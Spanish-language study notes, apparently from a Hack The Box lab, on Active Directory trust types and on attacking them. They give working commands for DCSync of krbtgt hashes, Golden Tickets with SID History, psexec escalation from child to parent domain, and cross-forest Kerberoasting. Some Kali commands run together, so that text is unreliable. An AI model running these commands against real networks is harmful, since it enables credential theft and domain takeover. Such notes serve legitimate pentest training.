Confianzas de Dominio en AD

Tipos de Confianza

  • Parent-Child: bidireccional y transitiva dentro del mismo bosque.
  • Tree-Root: transitiva entre raíces de árboles en un bosque.
  • Forest Trust: entre bosques (transitiva o no).
  • External Trust: no transitiva entre dominios de bosques diferentes.
  • Bidireccional / Unidireccional: ambos confían, o solo uno.
  • Transitiva: si A↔B y B↔C, entonces A↔C.

Enumeración de Confianzas

powershell
Get-ADTrust -Filter *        # PowerShell
Get-DomainTrust              # PowerView
netdom query /domain:inlanefreight.local trust
BloodHound: consultar "Map Domain Trusts".

Ataques Comunes

  • Golden Ticket: usar SIDs de dominios confiados para forjar TGTs.
  • SID History Injection: añadir SIDs de dominios privilegiados a cuentas menos seguras.
  • Abuso de grupos entre dominios.

Hijo a Padre usando SID History (Windows)

powershell
# 1. Hash KRBTGT del dominio hijo
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
# 2. SIDs necesarios
Get-DomainSID
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins"
# 3. Golden Ticket con SID History
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:SID_HIJO /krbtgt:HASH_KRBTGT /sids:SID_ENTERPRISE_ADMINS /ptt
.\Rubeus.exe golden /rc4:HASH_KRBTGT /domain:DOMINIO_HIJO /sid:SID_HIJO /sids:SID_ENTERPRISE_ADMINS /user:hacker /ptt
# 4. Acceso al dominio padre
ls \\dc-padre\c$
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

Hijo a Padre usando SID History (desde Kali)

terminal
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgtlookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep "Enterprise Admins"ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker$ export KRB5CCNAME=hacker.ccache$ psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass# Si falla el manual, usar raiseChild.pyraiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Cross-Forest desde Windows

Cross-Forest Kerberoasting

powershell
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc

Reutilización de contraseñas de administradores

Si los administradores usan la misma contraseña en ambos bosques, las credenciales robadas sirven para el segundo dominio.

Abusar de membresías de grupos

powershell
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Enter-PSSession -ComputerName DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

Cross-Forest desde Kali

terminal
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wleyGetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley